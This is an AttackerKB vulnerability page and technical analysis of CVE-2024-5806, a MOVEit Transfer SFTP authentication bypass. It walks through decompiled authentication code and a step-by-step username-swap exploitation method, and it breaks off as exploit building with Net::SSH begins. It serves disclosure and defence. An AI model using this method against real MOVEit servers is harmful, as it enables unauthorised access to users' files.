Very High
CVE-2024-5806
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
Very High
(1 user assessed)High
(1 user assessed)Unknown
Unknown
Unknown
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Improper Authentication vulnerability in Progress MOVEit Transfer (SFTP module) can lead to Authentication Bypass.This issue affects MOVEit Transfer: from 2023.0.0 before 2023.0.11, from 2023.1.0 before 2023.1.6, from 2024.0.0 before 2024.0.2.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityHigh
Technical Analysis
Based on our AttackerKB Rapid7 Analysis, I have rated the exploitability as high, as an exploit can easily be implemented by modifying an existing SFTP library to trigger the auth bypass. However, when running the exploit, the attacker must first know the username of a valid user account on the target server. I have rated the attacker value as very high, as this is an auth bypass in an SFTP service of an enterprise file transfer solution.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- Progress
Products
- MOVEit Transfer
References
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Additional Info
Technical Analysis
Overview
On June 25, 2024 Progress Software published an advisory for CVE-2024-5806, an authentication bypass vulnerability affecting the SFTP module of MOVEit Transfer. Initially given a “high” severity rating, the vendor has since updated the severity rating to critical, with a CVSS base score of 9.1. The following version of MOVEit Transfer are affected:
- MOVEit Transfer 2023.0.x (fixed in 2023.0.11)
- MOVEit Transfer 2023.1.x (fixed in 2023.1.6)
- MOVEit Transfer 2024.0.x (fixed in 2024.0.2)
Our analysis has shown that a remote unauthenticated attacker can leverage CVE-2024-5806 to successfully authenticate to the SFTP service as any user, so long as the following conditions are met (based on a vulnerable version 2023.0.1):
- The attacker must know in advance the username of a valid MOVEit Transfer user account on the target server.
- If an attacker tries to guess a valid username and fails too many times, the attacker’s IP address will be locked out. The default “Lockout Policy” is to lock out an IP address after five tries within six minutes. By default, locked-out IP addresses must be manually removed from the lockout list by an administrator.
- The “Remote Access Rules”, which govern the remote IP addresses that can access this user account, must allow for remote access from the IP address the attacker uses. By default, all IP addresses are allowed for regular users. For Administrator and FileAdmin users, only internal network IP addresses are allowed (the default IP address range is
10.*.*.*
). Thesysadmin
user is not allowed to authenticate via a remote IP by default.
An attacker who successfully exploits CVE-2024-5806 can access any file on the SFTP server that the user they are authenticating as has permission to access.
CVE-2024-5806 is reportedly being exploited in the wild. As of June 21, 2024, Shodan reported 1,085 instances of the MOVEit Transfer SFTP server exposed to the public internet, though exposure counts often vary based on the query used.
A technical analysis of CVE-2024-5806 was published by watchTower on June 25, 2024. This analysis details an exploitation strategy that relies on leveraging a zero-day vulnerability in the third-party library “IPWorks SSH” (From vendor “/n software, Inc.”) to successfully exploit CVE-2024-5806. Additionally, their exploitation strategy relies on planting an attacker-controlled key on the target server prior to exploiting CVE-2024-5806, by leveraging the MOVEit Transfer web interface to inject untrusted content into a log file. Our analysis demonstrates successful exploitation of CVE-2024-5806 without leveraging either the third party zero-day vulnerability in “IPWorks SSH”, or the need to leverage the MOVEit Transfer web interface to inject an attacker-controlled key into a log file.
Analysis
We tested a vulnerable version of MOVEit Transfer version 2023.1.3, and a patched version 2024.0.2. As we knew the vulnerability was in the SFTP module, we began by decompiling the SftpServer.exe
binary from both versions, and diffing the results. SFTP is a secure file transfer protocol, built as an extension to the SSH protocol, so we expect authentication to follow the SSH authentication norms.
While there are several changes in this binary, we know this is an authentication bypass vulnerability, so the changes in the MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator
class are of interest. The patch diff for this class is shown below:
@@ -57,11 +57,15 @@ namespace MOVEit.DMZ.SftpServer.Authentication if (string.IsNullOrEmpty(this._publicKeyFingerprint) && !this._keyAlreadyAuthenticated) { this._logger.Error("Attempted to authenticate empty public key fingerprint"); + this.StatusCode = 2414; + this.StatusDescription = "No public key provided"; return AuthenticationResult.Denied; } if (string.IsNullOrEmpty(user.ID)) { this._logger.Debug("No user ID provided for public key authentication"); + this.StatusCode = 2050; + this.StatusDescription = this._i18N.GetMsg(60001); return AuthenticationResult.Denied; } if (this._signatureIsValid.HasValue && !this._signatureIsValid.Value)
What appears to be a small and somewhat innocuous change reveals a complex authentication bypass vulnerability!
From the above changes, it appears that if either an empty public key fingerprint or an empty user ID is supplied to the method SftpPublicKeyAuthenticator.Authenticate
, a result of AuthenticationResult.Denied
will be returned. This seems reasonable, but in the vulnerable version, theStatusCode
and StatusDescription
member variables are not set.
We will investigate whether failing to set these status results can impact the authentication logic during public key authentication.
The method UserAuthRequestHandler.AuthenticateByPublicKey
is called by HandleRequest
shown below at [1], for a UserPublicKeyValidationRequest
request. The result of AuthenticateByPublicKey
will be passed to CreatePublicKeyAuthResult
.
namespace MOVEit.DMZ.SftpServer.Requests.Handlers { public class UserAuthRequestHandler : ISftpRequestHandler<UserAuthRequest, UserAuthResult> { // ..snip... public UserAuthResult HandleRequest(UserPublicKeyValidationRequest request) { this._logger.Debug("Received public key validation request for user " + request.LoginName); UserAuthRequestHandler.AuthenticationContext authenticationContext = this.GetAuthenticationContext((UserAuthRequest) request); string publicKeyFingerprint = authenticationContext.IsFromGateway ? authenticationContext.PublicKeyFingerprintFromGateway : request.PublicKey; return this.CreatePublicKeyAuthResult(this.AuthenticateByPublicKey(authenticationContext, publicKeyFingerprint, true, new bool?()), authenticationContext, publicKeyFingerprint); // <--- [1] }
Shown below, we can see AuthenticateByPublicKey
will create a new instance of SftpPublicKeyAuthenticator
, at [2], before calling MOVEit.DMZ.ClassLib.SILCurrentUser.SignonWithAuthenticator
, at [3], to perform the public key authentication.
// MOVEit.DMZ.SftpServer.Requests.Handlers private AuthenticationResult AuthenticateByPublicKey( UserAuthRequestHandler.AuthenticationContext context, string publicKeyFingerprint, bool validationOnly, bool? signatureIsValid) { string loginName = context.LoginName; SILGlobals globals = context.Globals; SftpSession session = context.Session; bool keyAlreadyAuthenticated = session.HasAuthenticatedByPublicKey && publicKeyFingerprint == session.LastPublicKeyFingerprint; RandomIdService randomIdService = new RandomIdService((IDataConnection) globals.objWrap.Connection); SftpPublicKeyAuthenticator keyAuthenticator = new SftpPublicKeyAuthenticator(this._logger, (IDataConnection) globals.objWrap.Connection, (IRandomIdService) randomIdService, (ISILGetMsg) globals.objI11N, loginName, globals.OrgID, publicKeyFingerprint, session.HasAuthenticatedByPassword, keyAlreadyAuthenticated, signatureIsValid); // <--- [2] ILogger logger = this._logger; string message; if (!validationOnly) { if (!keyAlreadyAuthenticated) message = "Authenticating user " + loginName + " using client key fingerprint " + publicKeyFingerprint; else message = "Client key fingerprint " + publicKeyFingerprint + " already authenticated for user " + loginName + "; continuing with user authentication process"; } else message = "Validating client key fingerprint " + publicKeyFingerprint + " for user " + loginName; logger.LogMessage(LogLev.MoreDebug, message); if (globals.objUser.SignonWithAuthenticator((IAuthenticator) keyAuthenticator, false, interfaceCode: 4, forceOrg: context.HasBoundOrg, establishSession: !validationOnly, clientCertAuthenticated: true)) // <--- [3] { if (validationOnly) { this._logger.LogMessage(LogLev.MoreDebug, "Validation successful"); } else { this._logger.Info("Authentication successful"); globals.objUser.ErrorDescription = session.HasAuthenticatedByPassword ? "Signed on with local password and client key" : "Signed on with client key"; globals.objUser.LogSignon(globals.objUser.Username, loginName); globals.objSession.SetValue("MyUsername", (object) globals.objUser.Username); globals.objSession.SecureSession(globals.objUser.InstID, globals.objUser.Username); } return AuthenticationResult.Authenticated; } if (globals.objUser.ErrorCode == 0) { this._logger.LogMessage(LogLev.MoreDebug, validationOnly ? "Client key validation successful but password is also required" : "Client key authentication successful but password is also required"); return AuthenticationResult.Indeterminate; } this._logger.Info(validationOnly ? "Client key validation failed" : "Client key authentication failed"); return AuthenticationResult.Denied; }
The method SignonWithAuthenticator
, shown below, will check if the username supplied by the SFTP authentication request is allowed to access the server, via a call to AuthorizeUserClient
at [4]. This helper method will check if the requesting IP address is locked out, due to previous failed login attempts, or if the requested username is expired or inactive.
public bool SignonWithAuthenticator( IAuthenticator authenticator, bool audit, string myOrgID = "", string inputLanguageCode = "", int interfaceCode = 0, int altInterfaceCode = -1, bool forceOrg = false, bool bCheckMFA = false, bool bPromptMFA = false, bool establishSession = true, bool skipFillInfo = false, bool clientCertAuthenticated = false) { bool flag1 = false; string MyLoginName = Conversions.ToString(Interaction.IIf(string.IsNullOrEmpty(authenticator.LoginName), (object) string.Empty, (object) authenticator.LoginName)); myOrgID = authenticator.OrgId.HasValue ? authenticator.OrgId.Value.ToString() : myOrgID; string empty = string.Empty; this.ErrorCode = 0; this.bDidFillInfo = false; this.FindAndPopulateUserOrg(ref MyLoginName, myOrgID, ref empty, forceOrg); bool flag2 = !string.IsNullOrEmpty(this.Username); bool flag3; if (this.AuthorizeUserClient(MyLoginName)) // <--- [4] { ICollection<ExternalAuthenticator> externalAuthenticators = (ICollection<ExternalAuthenticator>) null; if (this.MayAuthenticateExternally()) externalAuthenticators = (ICollection<ExternalAuthenticator>) this.GetExternalAuthenticatorList(MyLoginName, string.Empty, interfaceCode); bool flag4 = false; try { IAuthenticator[] AuthenticatorList = new IAuthenticator[1] { authenticator }; int InterfaceCode = interfaceCode; int num = this.Org.FailOnFirstAuthFailure != 0 ? 1 : 0; ref ICollection<ExternalAuthenticator> local1 = ref externalAuthenticators; IAuthenticator authenticator1 = (IAuthenticator) null; ref IAuthenticator local2 = ref authenticator1; flag4 = this.ExecuteAuthenticators((IList<IAuthenticator>) AuthenticatorList, InterfaceCode, num != 0, ref local1, ref local2); // <--- [5] } catch (Exception ex) { ProjectData.SetProjectError(ex); this.siGlobs.objDebug.LogException(20, "SILCurrentUser.SignonWithAuthenticator", ex); this.ErrorCode = 100; ProjectData.ClearProjectError(); } if (flag4) { if (flag2 || this.AllowedAtHost(MyLoginName)) { if (this.AuthorizeUserInterface(interfaceCode, altInterfaceCode, clientCertAuthenticated) && this.CheckMultiSignon()) { if (!bCheckMFA || this.MFAValidateCodeIfNec()) { if (establishSession) this.EstablishAuthenticatedSession(authenticator, empty, inputLanguageCode, interfaceCode, skipFillInfo); flag1 = true; this.RecordSuccessfulSignon(this.Username); } else { this.ErrorCode = 2028; this.ErrorDescription = this.siGlobs.objI11N.GetMsg(30509); if (bPromptMFA) { flag3 = false; goto label_26; } } } } else { this.siGlobs.objDebug.Log(30, string.Format("{0}: AllowedAtHost returned False for user {1}", (object) "SILCurrentUser.SignonWithAuthenticator", (object) MyLoginName)); this.ErrorCode = 2976; } } else if (this.ErrorCode == 2414) audit = false; else if (this.ErrorCode == 2415 && (interfaceCode == 0 || interfaceCode == 1) && !this.siGlobs.objUtility.CurrentPageChecksClientCert(this.siGlobs.objSession.GetValue("MyCallingPage"))) { flag3 = false; goto label_26; } } if (audit || this.ErrorCode != 0) this.LogSignon(this.Username, MyLoginName); if (!flag1) { if (!ListUtility.InList<int>(this.ErrorCode, 2976, 2977, 2975)) this.UserOverloadCheck(this.Username); } flag3 = flag1; label_26: return flag3; }
The SignonWithAuthenticator
method will then call ExecuteAuthenticators
, shown at [5] above.
The ExecuteAuthenticators
helper method, shown below, will call the Authenticate
method, at [6], for every authenticator class provided in the AuthenticatorList
parameter. In our case it will call the SftpPublicKeyAuthenticator.Authenticate
method.
private bool ExecuteAuthenticators( IList<IAuthenticator> AuthenticatorList, int InterfaceCode, bool FailOnFirstAuthFailure, ref ICollection<ExternalAuthenticator> QueryInfoList = null, ref IAuthenticator SuccessAuthenticator = null) { bool flag1 = !string.IsNullOrEmpty(this.Username); bool flag2 = SILCurrentUser.IsInterfaceHttps(InterfaceCode); bool flag3; if (AuthenticatorList.Count > 0) { try { foreach (IAuthenticator authenticator in (IEnumerable<IAuthenticator>) AuthenticatorList) { string loginName = authenticator.LoginName; this.siGlobs.objDebug.Log(60, string.Format("SILUser.ExecuteAuthenticators: Authenticating user '{0}' with authenticator: {1}", (object) loginName, (object) authenticator.ToString())); AuthenticationResult authenticationResult = AuthenticationResult.Indeterminate; try { authenticationResult = authenticator.Authenticate((SILUser) this); // <--- [6] this.ErrorCode = authenticator.StatusCode; this.ErrorDescription = authenticator.StatusDescription; } catch (Exception ex) { ProjectData.SetProjectError(ex); Exception exception = ex; this.siGlobs.objDebug.LogException(20, string.Format("{0}.{1}", (object) "SILUser", (object) nameof (ExecuteAuthenticators)), exception); this.ErrorCode = 100; ProjectData.ClearProjectError(); } switch (authenticationResult) { case AuthenticationResult.Authenticated: bool flag4 = authenticator.ClientCertValidated; this.UsingExternalAuthSource = !authenticator.IsInternal; this.siGlobs.objDebug.Log(60, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated with authenticator: {1}", (object) loginName, (object) authenticator.ToString())); if (authenticator.HasUserInfo) { if (flag1) { if (authenticator.AutoSyncOnSignon) { AuthenticatedUserInfo userInfo = authenticator.UserInfo; this.SyncUserAccount(ref userInfo); } } else if (authenticator.AutoCreateOnSignon) { AuthenticatedUserInfo userInfo = authenticator.UserInfo; if (!this.CreateExternalUserAccount(ref userInfo)) { this.siGlobs.objDebug.Log(20, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated, but there was an error creating a new account using authenticator: {1}", (object) loginName, (object) authenticator.ToString())); this.ErrorCode = 2025; this.ErrorDescription = "Unknown username."; continue; } } else { this.siGlobs.objDebug.Log(50, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated, but account does not exist and authenticator ({1}) is unable or not allowed to create it", (object) loginName, (object) authenticator.ToString())); this.ErrorCode = 2025; this.ErrorDescription = "Unknown username."; continue; } } else if (QueryInfoList != null && QueryInfoList.Count > 0) { bool flag5 = false; try { foreach (ExternalAuthenticator externalAuthenticator in (IEnumerable<ExternalAuthenticator>) QueryInfoList) { this.siGlobs.objDebug.Log(60, string.Format("SILUser.ExecuteAuthenticators: Querying info for user '{0}' with authenticator: {1}", (object) loginName, (object) externalAuthenticator.ToString())); if (externalAuthenticator.QueryUserInfo() && externalAuthenticator.HasUserInfo) { if (flag1) { if (authenticator.AutoSyncOnSignon) { AuthenticatedUserInfo userInfo = externalAuthenticator.UserInfo; this.SyncUserAccount(ref userInfo); } } else if (externalAuthenticator.AutoCreateOnSignon) { AuthenticatedUserInfo userInfo = externalAuthenticator.UserInfo; if (!this.CreateExternalUserAccount(ref userInfo)) { this.siGlobs.objDebug.Log(20, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated, but there was an error creating a new account using authenticator: {1}", (object) loginName, (object) externalAuthenticator.ToString())); this.ErrorCode = 2025; this.ErrorDescription = "Unknown username."; continue; } } else { this.siGlobs.objDebug.Log(50, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated, but account does not exist and authenticator ({1}) is unable or not allowed to create it", (object) loginName, (object) externalAuthenticator.ToString())); this.ErrorCode = 2025; this.ErrorDescription = "Unknown username."; continue; } flag4 = flag4 || externalAuthenticator.ClientCertValidated; flag5 = true; } } } finally { IEnumerator<ExternalAuthenticator> enumerator; enumerator?.Dispose(); } if (!flag5) { flag3 = false; goto label_45; } } if (!flag4) { SILGlobals siGlobs = this.siGlobs; ClientCertAuthenticator certAuthenticator = new ClientCertAuthenticator(ref siGlobs, this.Username, loginName, ref this.ClientCertWrapper, flag2 & this.HTTPCertRequired > 0, this.HTTPCertPlusPW > 0); if (certAuthenticator.Authenticate() != AuthenticationResult.Authenticated && this.HTTPCertRequired > 0) { this.siGlobs.objDebug.Log(30, string.Format("SILUser.ExecuteAuthenticators: User '{0}' failed client certificate authentication", (object) loginName)); this.ErrorCode = certAuthenticator.StatusCode; this.ErrorDescription = certAuthenticator.StatusDescription; flag3 = false; goto label_45; } } SuccessAuthenticator = authenticator; flag3 = true; goto label_45; case AuthenticationResult.Denied: if (FailOnFirstAuthFailure) { this.siGlobs.objDebug.Log(30, string.Format("{0}.{1}: User '{2}' was denied authentication with authenticator: {3}; ceasing authentication chain", (object) "SILUser", (object) nameof (ExecuteAuthenticators), (object) loginName, (object) authenticator)); flag3 = false; goto label_45; } else break; } this.siGlobs.objDebug.Log(30, string.Format("{0}.{1}: User '{2}' unable to authenticate with authenticator: {3}; continuing authentication chain", (object) "SILUser", (object) nameof (ExecuteAuthenticators), (object) loginName, (object) authenticator)); } } finally { IEnumerator<IAuthenticator> enumerator; enumerator?.Dispose(); } } else { this.ErrorCode = 2025; this.ErrorDescription = "No authenticators found."; } flag3 = false; label_45: return flag3; }
We can now begin to understand the impact SftpPublicKeyAuthenticator.Authenticate
has when it fails to set the StatusCode
and StatusDescription
upon a failed public key authentication request.
As shown below at [7], after ExecuteAuthenticators
calls SftpPublicKeyAuthenticator.Authenticate
and public key authentication fails (due to either an empty public key fingerprint or an empty user ID), the authenticationResult
will be set to AuthenticationResult.Denied
. However, the StatusCode
was never set to an error code (i.e., a non-zero value), and will remain its default initialized value of 0
. This in turn will set SILCurrentUser.ErrorCode
to 0
, before returning false
to the caller SignonWithAuthenticator
, indicating a failed authentication.
private bool ExecuteAuthenticators( IList<IAuthenticator> AuthenticatorList, int InterfaceCode, bool FailOnFirstAuthFailure, ref ICollection<ExternalAuthenticator> QueryInfoList = null, ref IAuthenticator SuccessAuthenticator = null) { // ..snip... try { authenticationResult = authenticator.Authenticate((SILUser) this); this.ErrorCode = authenticator.StatusCode; // <--- [7] ErrorCode becomes 0 even though Authenticate returns AuthenticationResult.Denied this.ErrorDescription = authenticator.StatusDescription; }
SignonWithAuthenticator
will in turn return false
to its caller UserAuthRequestHandler.AuthenticateByPublicKey
, as shown below at [8].
// AuthenticateByPublicKey if (globals.objUser.SignonWithAuthenticator((IAuthenticator) keyAuthenticator, false, interfaceCode: 4, forceOrg: context.HasBoundOrg, establishSession: !validationOnly, clientCertAuthenticated: true)) // <--- [8] SignonWithAuthenticator will return false { // ...snip... return AuthenticationResult.Authenticated; } if (globals.objUser.ErrorCode == 0) // <--- [9] but ErrorCode will be 0 { this._logger.LogMessage(LogLev.MoreDebug, validationOnly ? "Client key validation successful but password is also required" : "Client key authentication successful but password is also required"); return AuthenticationResult.Indeterminate; // [10] <--- so client key auth succeeds! } this._logger.Info(validationOnly ? "Client key validation failed" : "Client key authentication failed"); return AuthenticationResult.Denied; }
We can see above that in AuthenticateByPublicKey
, if SignonWithAuthenticator
returns false
, and the SILCurrentUser.ErrorCode
is 0
(shown above at [9]), then an AuthenticationResult
of Indeterminate
is returned at [10]. This indicates that validation of the client-supplied public key was successful!
The result of AuthenticateByPublicKey
will be passed to the method CreatePublicKeyAuthResult
, shown below.
private UserAuthResult CreatePublicKeyAuthResult( AuthenticationResult authResult, UserAuthRequestHandler.AuthenticationContext authContext, string publicKeyFingerprint) { UserAuthResult publicKeyAuthResult = new UserAuthResult(); switch (authResult) { case AuthenticationResult.Authenticated: publicKeyAuthResult.HomeFolderPath = UserAuthRequestHandler.GetUserDefaultFolderPath(authContext.Globals, authContext.Session); publicKeyAuthResult.AuthResult = AuthResult.Success; authContext.Session.HasAuthenticatedByPublicKey = true; authContext.Session.LastPublicKeyFingerprint = publicKeyFingerprint; break; case AuthenticationResult.Indeterminate: // <--- [11] publicKeyAuthResult.AuthResult = AuthResult.PartialSuccess; publicKeyAuthResult.AvailableAuthMethods = (IEnumerable<string>) new string[1] { "password" }; authContext.Session.HasAuthenticatedByPublicKey = true; // <--- [12] authContext.Session.LastPublicKeyFingerprint = publicKeyFingerprint; break;
We can see above that an authResult
of AuthenticationResult.Indeterminate
(shown above at [11]) will set the session variable HasAuthenticatedByPublicKey
to true
(shown above at [12]). This is crucial, as we will see later on.
While we have passed the key validation of a client-supplied public key, we have not actually authenticated the SSH session with a valid MOVEit Transfer user account.
To successfully exploit this vulnerability in practice, an attacker must force SftpPublicKeyAuthenticator.Authenticate
to fail, due to either an empty public key fingerprint (a hash computed by the server, of the public key provided by the client) or an empty user ID. We discovered supplying a non-existent username was the key to exploitation, as this forces the user ID to be an empty string.
It may seem counterintuitive to supply a non-existent username to force the failure, as we will need to supply a valid username to authenticate as, during the authentication bypass. But this is exactly what we need to do. We must investigate the SSH protocol internals to understand how we could do both!
When performing SSH public key authentication, the client will first transmit the client’s public key to the server. In doing so, a username is also supplied to the server. The server will verify this user can authenticate with the supplied public key. If successful, the server will respond to the client with a USERAUTH_PK_OK
(message type 60) message. This indicates the server considers this public key for the given user to be acceptable. The client must then sign a new request to verify the client has the corresponding private key for the public key they previously provided. The signed data will include a username. This signed data is sent to the server, which will verify the signature using the public key the server previously received. If successful, the server will return a USERAUTH_SUCCESS
(message type 52) message, and public key authentication will be completed successfully.
We can see from this description that there are two separate opportunities to supply a username to the server: the first when providing the public key, and the second when performing the signature.
Therefore, during the first client-side public key authentication request to verify the public key, an attacker can supply a non-existent username, such as an empty string value. This will trigger the vulnerability and force client public key authentication to succeed. Then during the signature verification, which occurs afterwards, the client can pass a different username. The server will not verify that the usernames from both requests match.
We can see below how this discrepancy in usernames occurs in the SshUserAuthRequestEventHandler.CreateRequest
method below:
// MOVEit.DMZ.SftpServer.IpWorksSsh.EventHandlers.SshUserAuthRequestEventHandler protected override UserAuthRequest CreateRequest(SftpserverSSHUserAuthRequestEventArgs eventArgs) { switch (eventArgs.AuthMethod) { case "none": UserNoneAuthRequest request1 = new UserNoneAuthRequest(); request1.LoginName = eventArgs.User; request1.ConnectionId = eventArgs.ConnectionId; request1.LocalHost = this._connection.LocalAddress; request1.RemoteHost = this._connection.RemoteHost; return (UserAuthRequest) request1; case "publickey": string keyFingerprint = this._keyService.GetKeyFingerprint(eventArgs.AuthParam, FingerprintType.Md5); UserPublicKeyValidationRequest request2 = new UserPublicKeyValidationRequest(); request2.LoginName = eventArgs.User; // <--- [13] Attacker can set an non-existent username here. request2.ConnectionId = eventArgs.ConnectionId; request2.LocalHost = this._connection.LocalAddress; request2.RemoteHost = this._connection.RemoteHost; request2.PublicKey = keyFingerprint; return (UserAuthRequest) request2; case "sigstatus": bool flag = eventArgs.AuthParam.Equals("1"); this._logger.Debug(string.Format("Server reported client key signature validation success={0}", (object) flag)); UserPublicKeyAuthRequest request3 = new UserPublicKeyAuthRequest(); request3.LoginName = eventArgs.User; // <--- [14] Later, the attacker can specify a valid username here to authenticate as! request3.ConnectionId = eventArgs.ConnectionId; request3.LocalHost = this._connection.LocalAddress; request3.RemoteHost = this._connection.RemoteHost; request3.SignatureIsValid = flag; request3.UsePrevious = true; return (UserAuthRequest) request3;
The SshUserAuthRequestEventHandler.CreateRequest
method will reset the member variable LoginName
for both the “publickey” auth request (shown at [13]), and the “sigstatus” auth request (shown at [14]). These events originate from the library nsoftware.IPWorksSSH
, which the SFTP server is using to process the underlying SSH transport layer with the client. The event names “publickey” and “sigstatus” originate from this library, and these events are triggered when a client transmits either its public key or the signed response to a USERAUTH_PK_OK
message.
We can also note that the “publickey” event will generate a UserPublicKeyValidationRequest
request, whilst a “sigstatus” event will generate a UserPublicKeyAuthRequest
request.
Looking at MOVEit.DMZ.SftpServer.Requests.Handlers.HandleRequest
below, which dispatches the incoming events from the SSH transport layer, we can see how these two requests differ.
public UserAuthResult HandleRequest(UserPublicKeyValidationRequest request) { this._logger.Debug("Received public key validation request for user " + request.LoginName); UserAuthRequestHandler.AuthenticationContext authenticationContext = this.GetAuthenticationContext((UserAuthRequest) request); string publicKeyFingerprint = authenticationContext.IsFromGateway ? authenticationContext.PublicKeyFingerprintFromGateway : request.PublicKey; return this.CreatePublicKeyAuthResult(this.AuthenticateByPublicKey(authenticationContext, publicKeyFingerprint, true, new bool?()), authenticationContext, publicKeyFingerprint); // <--- [15] validationOnly is true } public UserAuthResult HandleRequest(UserPublicKeyAuthRequest request) { this._logger.Debug("Received public key authentication request for user " + request.LoginName); UserAuthRequestHandler.AuthenticationContext authenticationContext = this.GetAuthenticationContext((UserAuthRequest) request); string publicKeyFingerprint = request.UsePrevious ? authenticationContext.Session.LastPublicKeyFingerprint : (authenticationContext.IsFromGateway ? authenticationContext.PublicKeyFingerprintFromGateway : request.PublicKey); return this.CreatePublicKeyAuthResult(this.AuthenticateByPublicKey(authenticationContext, publicKeyFingerprint, false, new bool?(request.SignatureIsValid)), authenticationContext, publicKeyFingerprint);// <--- [16] validationOnly is false }
They both call AuthenticateByPublicKey
, but the validation request (for a “publickey” event) sets the validationOnly
parameter in AuthenticateByPublicKey
to true
(shown at [15] above), while the auth request (for a “sigstatus” event) sets the validationOnly
parameter in AuthenticateByPublicKey
to false
(shown at [16] above).
We know we can leverage the vulnerability to pass the first “publickey” event, and that during that event, the result of AuthenticateByPublicKey
will be passed to CreatePublicKeyAuthResult
, which in turn will set HasAuthenticatedByPublicKey
to true
(previously shown at [12]).
The next “sigstatus” event will call AuthenticateByPublicKey
again, but now both HasAuthenticatedByPublicKey
will be true
, and validationOnly
will be false
.
We can see below in the method SftpPublicKeyAuthenticator.Authenticate
, when called a second time during the “sigstatus” event, if a valid username is supplied, and the key was already verified during the “publickey” event (shown at [17] below), then SftpPublicKeyAuthenticator.Authenticate
will set a StatusCode
of 0
(shown at [18] below) before returning AuthenticationResult.Indeterminate
(shown at [19] below).
We know the check below at [17] will pass as HasAuthenticatedByPublicKey
(which is used to set _keyAlreadyAuthenticated
) will be true
due to the “publickey” event.
We can also see the result of calling PublicKeyRegisteredToUser
(below at [17] ) is used in an logical OR expression with _keyAlreadyAuthenticated
. Due to the logical OR, the key the attacker uses during the attack does not need to be registered to the user they are attempting to authenticate as. Hence the attacker can supply any valid, yet untrusted key during authentication, so long as the attacker also has the accompanying private key. This means an attacker can generate a new and arbitrary, valid RSA key pair prior to performing the attack.
public AuthenticationResult Authenticate(SILUser user) { if (string.IsNullOrEmpty(this._publicKeyFingerprint) && !this._keyAlreadyAuthenticated) { this._logger.Error("Attempted to authenticate empty public key fingerprint"); return AuthenticationResult.Denied; } if (string.IsNullOrEmpty(user.ID)) { this._logger.Debug("No user ID provided for public key authentication"); return AuthenticationResult.Denied; } if (this._signatureIsValid.HasValue && !this._signatureIsValid.Value) { this._logger.Error("Signature validation failed for provided public key"); this.StatusCode = 2414; this.StatusDescription = "Signature validation failed for provided public key"; return AuthenticationResult.Denied; } if (this._keyAlreadyAuthenticated || this.PublicKeyRegisteredToUser(user.ID)) // <--- [17] _keyAlreadyAuthenticated will be true { this.StatusCode = 0; // <--- [18] if (this._hasAuthenticatedByPassword || !SILUtility.IntToBool(user.SSHCertPlusPW)) return AuthenticationResult.Authenticated; this._logger.Debug(this._keyAlreadyAuthenticated ? "Public key already authenticated, but password required with key" : "Matched public key OK, but password required with key"); return AuthenticationResult.Indeterminate; // <--- [19] }
The above will make the call to SignonWithAuthenticator
during AuthenticateByPublicKey
, return true
(shown below at [20]), and now we finally achieve a successful authentication as an actual user on the system.
As validationOnly
will be false
(shown below at [21]), the session’s MyUsername
value will be set to the username we chose in the “sigstatus” event (technically, it will be the internal user ID corresponding to that username), shown below at [22] . Finally a result of AuthenticationResult.Authenticated
is returned (shown below at [23]).
// AuthenticateByPublicKey() if (globals.objUser.SignonWithAuthenticator((IAuthenticator) keyAuthenticator, false, interfaceCode: 4, forceOrg: context.HasBoundOrg, establishSession: !validationOnly, clientCertAuthenticated: true)) // <--- [20] { if (validationOnly) { this._logger.Info("Validation successful"); } else // <--- [21] { this._logger.Info("Authentication successful"); globals.objUser.ErrorDescription = session.HasAuthenticatedByPassword ? "Signed on with local password and client key" : "Signed on with client key"; globals.objUser.LogSignon(globals.objUser.Username, loginName); // <--- [22] globals.objSession.SetValue("MyUsername", (object) globals.objUser.Username); } return AuthenticationResult.Authenticated; // <--- [23] }
This AuthenticationResult.Authenticated
value will be returned from AuthenticateByPublicKey
to CreatePublicKeyAuthResult
, which will complete the authentication process by setting publicKeyAuthResult.AuthResult
to AuthResult.Success
as shown in [24] below.
private UserAuthResult CreatePublicKeyAuthResult( AuthenticationResult authResult, UserAuthRequestHandler.AuthenticationContext authContext, string publicKeyFingerprint) { UserAuthResult publicKeyAuthResult = new UserAuthResult(); switch (authResult) { case AuthenticationResult.Authenticated: publicKeyAuthResult.HomeFolderPath = UserAuthRequestHandler.GetUserDefaultFolderPath(authContext.Globals, authContext.Session); publicKeyAuthResult.AuthResult = AuthResult.Success; // <--- [24] authContext.Session.HasAuthenticatedByPublicKey = true; authContext.Session.LastPublicKeyFingerprint = publicKeyFingerprint;
Exploitation
As we learnt from our analysis, we need to manipulate a client-side SSH public key authentication request to transmit an empty username during the first step in public key authentication, and then we need to set an arbitrary username when generating and transmitting a signature in response to a USERAUTH_PK_OK
message from the server.
We will leverage the open-source Ruby SFTP implementation Net::SFTP to build our exploit. Net::SFTP is built on top of the open-source Ruby SSH implementation Net::SSH. We can easily install these libraries into our environment via Gem:
gem install net-ssh gem install net-sftp
If we investigate the Net::SSH implementation of how public key authentication works, we can see the following:
# .\net-ssh-master\lib\net\ssh\authentication\methods\publickey.rb module Net module SSH module Authentication module Methods # Implements the "publickey" SSH authentication method. class Publickey < Abstract def authenticate_with_alg(identity, next_service, username, alg, sig_alg = nil) debug { "trying publickey (#{identity.fingerprint}) alg #{alg}" } send_request(identity, username, next_service, alg) # <--- [1] message = session.next_message case message.type when USERAUTH_PK_OK buffer = build_request(identity, username, next_service, alg, true) # <--- [2] sig_data = Net::SSH::Buffer.new sig_data.write_string(session_id) sig_data.append(buffer.to_s) sig_blob = key_manager.sign(identity, sig_data, sig_alg) send_request(identity, username, next_service, alg, sig_blob.to_s) # <--- [3]
We can see above in the authenticate_with_alg
function, the public key is first transmitted to the server at [1], and a username is supplied with this request. If the server responds with USERAUTH_PK_OK
